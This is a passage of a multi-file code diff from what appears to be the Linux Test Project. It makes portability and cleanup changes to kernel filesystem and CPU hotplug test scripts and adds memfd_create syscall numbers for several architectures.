diff --git a/testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/ext4_subdir_limit_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/ext4_subdir_limit_test.sh
index 3162d67..5cc0523 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/ext4_subdir_limit_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/ext4_subdir_limit_test.sh
@@ -59,14 +59,14 @@
 	# only mkfs if block size has been changed,
 	# or previous case failed
 	if [ $prev_result -ne $PASS -o $4 -ne $prev_block_size ]; then
-		mkfs.ext4 -b $4 -I 256 $EXT4_DEV &> /dev/null
+		mkfs.ext4 -b $4 -I 256 $EXT4_DEV >/dev/null 2>&1
 		if [ $? -ne 0 ]; then
 			tst_resm TFAIL "failed to create ext4 filesystem"
 			return
 		fi
 		prev_block_size=$4
 
-		tune2fs -O extents $EXT4_DEV &> /dev/null
+		tune2fs -O extents $EXT4_DEV >/dev/null 2>&1
 	fi
 
 	prev_result=$FAIL
@@ -113,7 +113,7 @@
 	fi
 
 	# run fsck to make sure the filesystem has no errors
-	e2fsck -p $EXT4_DEV &> /dev/null
+	e2fsck -p $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "fsck: the filesystem has errors"
 		return
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
index c8de206..1b0e00b 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
@@ -66,22 +66,22 @@
 {
 	echo "Test $TST_COUNT" >> ext4_uninit_groups_result.txt
 
-	mkfs.ext4 -I 256 -m 0 $EXT4_DEV &> /dev/null
+	mkfs.ext4 -I 256 -m 0 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "failed to create ext4 filesystem"
 		return
 	fi
 
-	if [ $3 == "no_flex_bg" ]; then
+	if [ "$3" = "no_flex_bg" ]; then
 		flag=""
 	else
 		flag=$3
 	fi
 
-	tune2fs -O extents,uninit_groups,$flag $EXT4_DEV &> /dev/null
+	tune2fs -O extents,uninit_groups,$flag $EXT4_DEV >/dev/null 2>&1
 
 	# Must run fsck after setting uninit_groups
-	fsck -p $EXT4_DEV &> /dev/null
+	fsck -p $EXT4_DEV >/dev/null 2>&1
 
 	mount -t ext4 -o $1,$2 $EXT4_DEV mnt_point
 	if [ $? -ne 0 ]; then
@@ -102,7 +102,7 @@
 		return
 	fi
 
-	fsck -p $EXT4_DEV &> /dev/null
+	fsck -p $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "fsck returned failure"
 		return
diff --git a/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh b/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
index b51e942..a9eb54e 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
@@ -27,8 +27,7 @@
 
 ext4_setup()
 {
-	tst_kvercmp 2 6 31
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "2.6.31"; then
 		tst_brkm TCONF "kernel is below 2.6.31"
 	fi
 
diff --git a/testcases/kernel/fs/fs-bench/Makefile b/testcases/kernel/fs/fs-bench/Makefile
index 8807ffc..bc570f7 100644
--- a/testcases/kernel/fs/fs-bench/Makefile
+++ b/testcases/kernel/fs/fs-bench/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/fs_bind/Makefile b/testcases/kernel/fs/fs_bind/Makefile
index cf06da8..26d6408 100644
--- a/testcases/kernel/fs/fs_bind/Makefile
+++ b/testcases/kernel/fs/fs_bind/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/fs_bind/TODO b/testcases/kernel/fs/fs_bind/TODO
index 567a33a..1730148 100644
--- a/testcases/kernel/fs/fs_bind/TODO
+++ b/testcases/kernel/fs/fs_bind/TODO
@@ -1,5 +1,3 @@
-Reuse http://ltp.cvs.sourceforge.net/*checkout*/ltp/ltp/testcases/kernel/containers/check_for_unshare.c to test for unshare (used in nsclone.c) ??
-
 Consider replacing long invocations
 	(replace "$FS_BIND_ROOT/bin/makedir") with something shorter).
 
diff --git a/testcases/kernel/fs/fs_bind/bin/Makefile b/testcases/kernel/fs/fs_bind/bin/Makefile
index 750840b..2c09a28 100644
--- a/testcases/kernel/fs/fs_bind/bin/Makefile
+++ b/testcases/kernel/fs/fs_bind/bin/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/fs/fs_di/Makefile b/testcases/kernel/fs/fs_di/Makefile
index 2082a6e..0f6e327 100644
--- a/testcases/kernel/fs/fs_di/Makefile
+++ b/testcases/kernel/fs/fs_di/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/fs_inod/Makefile b/testcases/kernel/fs/fs_inod/Makefile
index abc0079..00f4087 100644
--- a/testcases/kernel/fs/fs_inod/Makefile
+++ b/testcases/kernel/fs/fs_inod/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/fs_perms/Makefile b/testcases/kernel/fs/fs_perms/Makefile
index c0377cc..6a7bfd6 100644
--- a/testcases/kernel/fs/fs_perms/Makefile
+++ b/testcases/kernel/fs/fs_perms/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/fs_perms/fs_perms.c b/testcases/kernel/fs/fs_perms/fs_perms.c
index 04f578e..e8c5f53 100644
--- a/testcases/kernel/fs/fs_perms/fs_perms.c
+++ b/testcases/kernel/fs/fs_perms/fs_perms.c
@@ -39,7 +39,7 @@
 #include <sys/types.h>
 #include <stdlib.h>
 #include <unistd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <linux/limits.h>
 
 #include "test.h"
diff --git a/testcases/kernel/fs/fsstress/Makefile b/testcases/kernel/fs/fsstress/Makefile
index 38acce0..bb1d4ce 100644
--- a/testcases/kernel/fs/fsstress/Makefile
+++ b/testcases/kernel/fs/fsstress/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/fsstress/fsstress.c b/testcases/kernel/fs/fsstress/fsstress.c
index 629bcf4..811e6ff 100644
--- a/testcases/kernel/fs/fsstress/fsstress.c
+++ b/testcases/kernel/fs/fsstress/fsstress.c
@@ -1142,7 +1142,9 @@
 	pathname_t newname;
 	int rval;
 
-	rval = readlink(name->path, lbuf, lbufsiz);
+	rval = readlink(name->path, lbuf, lbufsiz-1);
+	if (rval >= 0)
+		lbuf[rval] = '\0';
 	if (rval >= 0 || errno != ENAMETOOLONG)
 		return rval;
 	separate_pathname(name, buf, &newname);
diff --git a/testcases/kernel/fs/fsx-linux/Makefile b/testcases/kernel/fs/fsx-linux/Makefile
index f55ec53..956486b 100644
--- a/testcases/kernel/fs/fsx-linux/Makefile
+++ b/testcases/kernel/fs/fsx-linux/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/ftest/Makefile b/testcases/kernel/fs/ftest/Makefile
index 91ba28d..1566c5c 100644
--- a/testcases/kernel/fs/ftest/Makefile
+++ b/testcases/kernel/fs/ftest/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/ftest/ftest02.c b/testcases/kernel/fs/ftest/ftest02.c
index f205961..a416a98 100644
--- a/testcases/kernel/fs/ftest/ftest02.c
+++ b/testcases/kernel/fs/ftest/ftest02.c
@@ -268,7 +268,7 @@
 	val = write(fd, crmsg, sizeof(crmsg) - 1);
 	warn(val, "write", 0);
 
-	val = lseek(fd, -(sizeof(crmsg) - 1), 1);
+	val = lseek(fd, -((off_t) sizeof(crmsg) - 1), 1);
 	warn(val, "lseek", 0);
 
 	val = read(fd, buf, sizeof(crmsg) - 1);
diff --git a/testcases/kernel/fs/ftest/ftest04.c b/testcases/kernel/fs/ftest/ftest04.c
index f2b1a61..ad26ece 100644
--- a/testcases/kernel/fs/ftest/ftest04.c
+++ b/testcases/kernel/fs/ftest/ftest04.c
@@ -42,7 +42,7 @@
 #include <sys/param.h>
 #include <sys/wait.h>
 #include <sys/file.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <sys/uio.h>
 #include <errno.h>
diff --git a/testcases/kernel/fs/ftest/ftest08.c b/testcases/kernel/fs/ftest/ftest08.c
index 39ba196..1eec79d 100644
--- a/testcases/kernel/fs/ftest/ftest08.c
+++ b/testcases/kernel/fs/ftest/ftest08.c
@@ -47,7 +47,7 @@
 #include <sys/param.h>
 #include <sys/wait.h>
 #include <sys/file.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <sys/uio.h>
 #include <errno.h>
diff --git a/testcases/kernel/fs/inode/Makefile b/testcases/kernel/fs/inode/Makefile
index 1c0c44b..3cb92ff 100644
--- a/testcases/kernel/fs/inode/Makefile
+++ b/testcases/kernel/fs/inode/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/inode/inode02.c b/testcases/kernel/fs/inode/inode02.c
index 11a7f5d..0e42085 100644
--- a/testcases/kernel/fs/inode/inode02.c
+++ b/testcases/kernel/fs/inode/inode02.c
@@ -58,7 +58,7 @@
 #include <signal.h>
 #include <fcntl.h>
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 
 #ifdef LINUX
 #include <stdlib.h>
diff --git a/testcases/kernel/fs/iso9660/isofs.sh b/testcases/kernel/fs/iso9660/isofs.sh
index 3533e76..f59bbde 100755
--- a/testcases/kernel/fs/iso9660/isofs.sh
+++ b/testcases/kernel/fs/iso9660/isofs.sh
@@ -62,7 +62,7 @@
 
 		mkdir -p "$new_path"
 
-		dd if=/dev/urandom of="$new_path/file" bs=1024 count=100 &> /dev/null
+		dd if=/dev/urandom of="$new_path/file" bs=1024 count=100 >/dev/null 2>&1
 
 		gen_fs_tree "$new_path" $((cur_depth + 1))
 	done
diff --git a/testcases/kernel/fs/lftest/Makefile b/testcases/kernel/fs/lftest/Makefile
index 4c42caa..7102ee5 100644
--- a/testcases/kernel/fs/lftest/Makefile
+++ b/testcases/kernel/fs/lftest/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/linktest/Makefile b/testcases/kernel/fs/linktest/Makefile
index 08495e5..b3a2c1f 100644
--- a/testcases/kernel/fs/linktest/Makefile
+++ b/testcases/kernel/fs/linktest/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/linktest/linktest.sh b/testcases/kernel/fs/linktest/linktest.sh
index db26eb9..bc78f1e 100755
--- a/testcases/kernel/fs/linktest/linktest.sh
+++ b/testcases/kernel/fs/linktest/linktest.sh
@@ -21,36 +21,21 @@
 #  FILE(s)     : linktest.sh README
 #  DESCRIPTION : Regression test for max links per file
 #  USE         : linktest.sh <number of symlinks> <number of hardlinks>
-#  AUTHOR      : Garrett Cooper (yanegomi@gmail.com)
+#  AUTHOR      : Ngie Cooper (yaneurabeya@gmail.com)
 #  HISTORY     :
 #	A rewrite of testcases/kernel/fs/linktest.pl
 
 export TCID=linker01
 export TST_TOTAL=2
 export TST_COUNT=1
+. test.sh
 
 if [ $# -ne 2 ]; then
-	tst_res TBROK "" "usage: $0 {softlink count} {hardlink count}"
+	tst_resm TBROK "usage: $0 {softlink count} {hardlink count}"
 	exit 1
 fi
 
-# TMPDIR not specified.
-if [ "x$TMPDIR" = x -o ! -d "$TMPDIR" ] ; then
-
-	if ! TMPDIR=$(mktemp -d) ; then
-		tst_res TBROK "" 'Failed to create $TMPDIR'
-		exit 1
-	fi
-	# We created the directory, so we have the power to delete it as well.
-	trap "rm -Rf '$TMPDIR'" EXIT
-
-# Most likely runltp provided; don't delete $TMPDIR, but instead delete the
-# files under it belonging to this process.
-else
-	trap "rm -Rf '$TMPDIR/[hs]link.$$'" EXIT
-fi
-
-cd "$TMPDIR" || tst_res TBROK "" "Failed to cd to $TMPDIR"
+tst_tmpdir
 
 mkdir hlink.$$ slink.$$ && touch hlink.$$/hfile slink.$$/sfile
 
@@ -79,7 +64,7 @@
 		RTYPE=TFAIL
 	fi
 
-	tst_res $RTYPE "" "$prefix_msg Link Errors: $lerrors"
+	tst_resm $RTYPE "$prefix_msg Link Errors: $lerrors"
 
 	: $(( TST_COUNT += 1 ))
 
@@ -89,3 +74,6 @@
 do_link h   "" ${2} "Hard"
 
 rm -Rf hlink.$$ slink.$$
+
+tst_rmdir
+tst_exit
diff --git a/testcases/kernel/fs/openfile/Makefile b/testcases/kernel/fs/openfile/Makefile
index 9b8a162..5e53318 100644
--- a/testcases/kernel/fs/openfile/Makefile
+++ b/testcases/kernel/fs/openfile/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ../../../..
diff --git a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
index 7790d16..24f41ae 100755
--- a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
+++ b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
@@ -47,11 +47,10 @@
 fi
 MNTDIR=$TMPDIR/mnt
 
-tst_kvercmp 2 6 26
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "2.6.25"; then
         tst_resm TCONF "Remounting with quotas enabled is not supported!"
         tst_resm TCONF "You should have kernel 2.6.26 and above running....."
-        exit 0
+        exit 32
 fi
 
 if [ ! -d /proc/sys/fs/quota ]; then
diff --git a/testcases/kernel/fs/racer/fs_racer.sh b/testcases/kernel/fs/racer/fs_racer.sh
index 5c4dc69..aa38e86 100755
--- a/testcases/kernel/fs/racer/fs_racer.sh
+++ b/testcases/kernel/fs/racer/fs_racer.sh
@@ -86,6 +86,7 @@
     killall fs_racer_file_symlink.sh
     killall fs_racer_file_list.sh
     killall fs_racer_file_concat.sh
+    rm -rf $DIR
     exit 0
 }
 
diff --git a/testcases/kernel/fs/scsi/ltpfs/ltpfsio.sh b/testcases/kernel/fs/scsi/ltpfs/ltpfsio.sh
index 0338724..ed3d8e2 100755
--- a/testcases/kernel/fs/scsi/ltpfs/ltpfsio.sh
+++ b/testcases/kernel/fs/scsi/ltpfs/ltpfsio.sh
@@ -83,7 +83,7 @@
 
 
 echo "************ Running tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part1 > ${TMPBASE}/ltpfs.part1
+sort -R ${LTPROOT}/runtest/ltpfs.part1 -o ${TMPBASE}/ltpfs.part1
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart1 -n ltpfspart1 -l lvmlogfile -f ${TMPBASE}/ltpfs.part1 &
 
@@ -95,7 +95,7 @@
 mount -v /dev/$part1 /test/growfiles/xfs
 
 
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part2 > ${TMPBASE}/ltpfs.part2
+sort -R ${LTPROOT}/runtest/ltpfs.part2 -o ${TMPBASE}/ltpfs.part2
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart2 -n ltpfspart2 -l lvmlogfile -f ${TMPBASE}/ltpfs.part2 &
 
@@ -105,7 +105,7 @@
 umount -v /dev/$part1
 mount -v /dev/$part1 /test/growfiles/msdos
 
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part3 > ${TMPBASE}/ltpfs.part3
+sort -R ${LTPROOT}/runtest/ltpfs.part3 -o ${TMPBASE}/ltpfs.part3
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart3 -n ltpfspart3 -l lvmlogfile -f ${TMPBASE}/ltpfs.part3 &
 
@@ -115,7 +115,7 @@
 mkreiserfs          /dev/$part1 <yesenter.txt
 mount -v /dev/$part1 /test/growfiles/reiser
 
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part4 > ${TMPBASE}/ltpfs.part4
+sort -R ${LTPROOT}/runtest/ltpfs.part4 -o ${TMPBASE}/ltpfs.part4
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart4 -n ltpfspart4 -l lvmlogfile -f ${TMPBASE}/ltpfs.part4 &
 
@@ -125,7 +125,7 @@
 mkfs -V -t minix    /dev/$part1
 mount -v /dev/$part1 /test/growfiles/minix
 
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part5 > ${TMPBASE}/ltpfs.part5
+sort -R ${LTPROOT}/runtest/ltpfs.part5 -o ${TMPBASE}/ltpfs.part5
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart5 -n ltpfspart5 -l lvmlogfile -f ${TMPBASE}/ltpfs.part5 &
 
@@ -135,7 +135,7 @@
 mkfs -V -t ext3     /dev/$part1
 mount -v /dev/$part1 /test/growfiles/ext3
 
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part6 > ${TMPBASE}/ltpfs.part6
+sort -R ${LTPROOT}/runtest/ltpfs.part6 -o ${TMPBASE}/ltpfs.part6
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart6 -n ltpfspart6 -l lvmlogfile -f ${TMPBASE}/ltpfs.part6 &
 
@@ -145,7 +145,7 @@
 mkfs -V -t jfs /dev/$part1  <yesenter.txt
 mount -v -t jfs    /dev/$part1           /test/growfiles/jfs
 
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltpfs.part7 > ${TMPBASE}/ltpfs.part7
+sort -R ${LTPROOT}/runtest/ltpfs.part7 -o ${TMPBASE}/ltpfs.part7
 
 ${LTPROOT}/pan/pan -e -S -a ltpfspart7 -n ltpfspart7 -l lvmlogfile -f ${TMPBASE}/ltpfs.part7 &
 
diff --git a/testcases/kernel/fs/scsi/ltpscsi/llseek.c b/testcases/kernel/fs/scsi/ltpscsi/llseek.c
index cc00daa..25b7762 100644
--- a/testcases/kernel/fs/scsi/ltpscsi/llseek.c
+++ b/testcases/kernel/fs/scsi/ltpscsi/llseek.c
@@ -13,7 +13,7 @@
 
 #include <errno.h>
 #include <unistd.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <linux/unistd.h>	/* for __NR_llseek */
 
 #if defined(__GNUC__) || defined(HAS_LONG_LONG)
diff --git a/testcases/kernel/fs/scsi/ltpscsi/ltpfsscsi.sh b/testcases/kernel/fs/scsi/ltpscsi/ltpfsscsi.sh
index a26d6f6..29648d9 100755
--- a/testcases/kernel/fs/scsi/ltpscsi/ltpfsscsi.sh
+++ b/testcases/kernel/fs/scsi/ltpscsi/ltpfsscsi.sh
@@ -96,7 +96,7 @@
 cd ${LTPROOT}
 
 echo "************ Running tests "
-${LTPROOT}/tools/rand_lines -g ${LTPROOT}/runtest/scsi.part1 > ${TMPBASE}/scsi.part1
+sort -R ${LTPROOT}/runtest/scsi.part1 -o ${TMPBASE}/scsi.part1
 
 ${LTPROOT}/pan/pan -e -S -a scsipart1 -n scsipart1 -l scsilogfile -f ${TMPBASE}/scsi.part1 &
 
diff --git a/testcases/kernel/hotplug/Makefile b/testcases/kernel/hotplug/Makefile
index 0cde12b..11baa73 100644
--- a/testcases/kernel/hotplug/Makefile
+++ b/testcases/kernel/hotplug/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, December 2009
+# Ngie Cooper, December 2009
 #
 
 top_srcdir	?= ../../..
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
index 4be2123..32a35ad 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
@@ -80,11 +80,11 @@
 until [ $LOOP_COUNT -gt $HOTPLUG05_LOOPS ]; do
 
 	# Start up SAR and give it a couple cycles to run
-	sar 1 0 &>/dev/null &
+	sar 1 0 >/dev/null 2>&1 &
 	sleep 2
 	# "sar 1 0" is supported before 'sysstat-8.1.4(include sar)',
 	# after that use "sar 1" instead of. Use 'ps -C sar' to check.
-	if ps -C sar &>/dev/null; then
+	if ps -C sar >/dev/null 2>&1; then
 		pkill sar
 		sar -P ALL 1 0 > $TMP/log_$$ &
 	else
diff --git a/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_hotplug.sh b/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_hotplug.sh
index f23463b..9f856e5 100644
--- a/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_hotplug.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_hotplug.sh
@@ -150,8 +150,8 @@
             range_low=$(echo $part | cut -d - -f 1)
             range_high=$(echo $part | cut -d - -f 2)
         else
-            range_low=$(part)
-            range_high=$(part)
+            range_low=$part
+            range_high=$part
         fi
         for cpu in $(seq $range_low $range_high); do
             if [ -e /sys/devices/system/cpu/cpu$cpu ]; then
@@ -178,7 +178,7 @@
 #
 get_hotplug_cpus()
 {
-    local present_cpus=$(get_present_cpus)
+    local present_cpus="$(get_present_cpus)"
     local hotplug_cpus=""
 
     for cpu in $present_cpus; do
diff --git a/testcases/kernel/hotplug/memory_hotplug/Makefile b/testcases/kernel/hotplug/memory_hotplug/Makefile
index 6c31786..d1ba65e 100644
--- a/testcases/kernel/hotplug/memory_hotplug/Makefile
+++ b/testcases/kernel/hotplug/memory_hotplug/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir	?= ../../../..
diff --git a/testcases/kernel/include/Makefile b/testcases/kernel/include/Makefile
index bfb08cb..d6e7175 100644
--- a/testcases/kernel/include/Makefile
+++ b/testcases/kernel/include/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/include/aarch64.in b/testcases/kernel/include/aarch64.in
index 28b741d..b81c068 100644
--- a/testcases/kernel/include/aarch64.in
+++ b/testcases/kernel/include/aarch64.in
@@ -253,5 +253,6 @@
 syncfs 267
 setns 268
 sendmmsg 269
-kcmp 378
-getrandom 384
+kcmp 272
+getrandom 278
+memfd_create 279
diff --git a/testcases/kernel/include/arm.in b/testcases/kernel/include/arm.in
index cee9718..0a5dde1 100644
--- a/testcases/kernel/include/arm.in
+++ b/testcases/kernel/include/arm.in
@@ -338,3 +338,4 @@
 sched_getattr (__NR_SYSCALL_BASE+381)
 renameat2 (__NR_SYSCALL_BASE+382)
 getrandom (__NR_SYSCALL_BASE+384)
+memfd_create (__NR_SYSCALL_BASE+385)
diff --git a/testcases/kernel/include/hppa.in b/testcases/kernel/include/hppa.in
index b784a2b..3946155 100644
--- a/testcases/kernel/include/hppa.in
+++ b/testcases/kernel/include/hppa.in
@@ -15,3 +15,4 @@
 splice 291
 tee 293
 vmsplice 294
+memfd_create 340
diff --git a/testcases/kernel/include/i386.in b/testcases/kernel/include/i386.in
index 1f1cade..42c5e3f 100644
--- a/testcases/kernel/include/i386.in
+++ b/testcases/kernel/include/i386.in
@@ -338,3 +338,4 @@
 sched_getattr 352
 renameat2 354
 getrandom 355
+memfd_create 356
diff --git a/testcases/kernel/include/ia64.in b/testcases/kernel/include/ia64.in
index 846141f..dad25f4 100644
--- a/testcases/kernel/include/ia64.in
+++ b/testcases/kernel/include/ia64.in
@@ -294,3 +294,4 @@
 prlimit64 1325
 renameat2 1338
 getrandom 1339
+memfd_create 1340
diff --git a/testcases/kernel/include/powerpc.in b/testcases/kernel/include/powerpc.in
index 5ca42a6..10a6e5d 100644
--- a/testcases/kernel/include/powerpc.in
+++ b/testcases/kernel/include/powerpc.in
@@ -345,3 +345,4 @@
 sched_getattr 356
 renameat2 357
 getrandom 359
+memfd_create 360
diff --git a/testcases/kernel/include/powerpc64.in b/testcases/kernel/include/powerpc64.in
index 5ca42a6..10a6e5d 100644
--- a/testcases/kernel/include/powerpc64.in
+++ b/testcases/kernel/include/powerpc64.in
@@ -345,3 +345,4 @@
 sched_getattr 356
 renameat2 357
 getrandom 359
+memfd_create 360
diff --git a/testcases/kernel/include/s390.in b/testcases/kernel/include/s390.in
index afe94f5..770db7f 100644
--- a/testcases/kernel/include/s390.in
+++ b/testcases/kernel/include/s390.in
@@ -329,3 +329,4 @@
 sched_getattr 346
 renameat2 347
 getrandom 349
+memfd_create 350
diff --git a/testcases/kernel/include/s390x.in b/testcases/kernel/include/s390x.in
index afe94f5..770db7f 100644
--- a/testcases/kernel/include/s390x.in
+++ b/testcases/kernel/include/s390x.in
@@ -329,3 +329,4 @@
 sched_getattr 346
 renameat2 347
 getrandom 349
+memfd_create 350
diff --git a/testcases/kernel/include/sh.in b/testcases/kernel/include/sh.in
index 3cb7e21..0345f8d 100644
--- a/testcases/kernel/include/sh.in
+++ b/testcases/kernel/include/sh.in
@@ -362,3 +362,4 @@
 fanotify_mark 368
 prlimit64 369
 kcmp 378
+memfd_create 385
diff --git a/testcases/kernel/include/sparc.in b/testcases/kernel/include/sparc.in
index f266777..b84c844 100644
--- a/testcases/kernel/include/sparc.in
+++ b/testcases/kernel/include/sparc.in
@@ -334,3 +334,4 @@
 kcmp 341
 renameat2 345
 getrandom 347
+memfd_create 348
diff --git a/testcases/kernel/include/sparc64.in b/testcases/kernel/include/sparc64.in
index cb91828..7e0be30 100644
--- a/testcases/kernel/include/sparc64.in
+++ b/testcases/kernel/include/sparc64.in
@@ -310,3 +310,4 @@
 kcmp 341
 renameat2 345
 getrandom 347
+memfd_create 348
diff --git a/testcases/kernel/include/x86_64.in b/testcases/kernel/include/x86_64.in
index f54abf4..dec7742 100644
--- a/testcases/kernel/include/x86_64.in
+++ b/testcases/kernel/include/x86_64.in
@@ -305,3 +305,4 @@
 sched_getattr 315
 renameat2 316
 getrandom 318
+memfd_create 319
diff --git a/testcases/kernel/io/Makefile b/testcases/kernel/io/Makefile
index 196be9f..88ba996 100644
--- a/testcases/kernel/io/Makefile
+++ b/testcases/kernel/io/Makefile
@@ -17,7 +17,7 @@
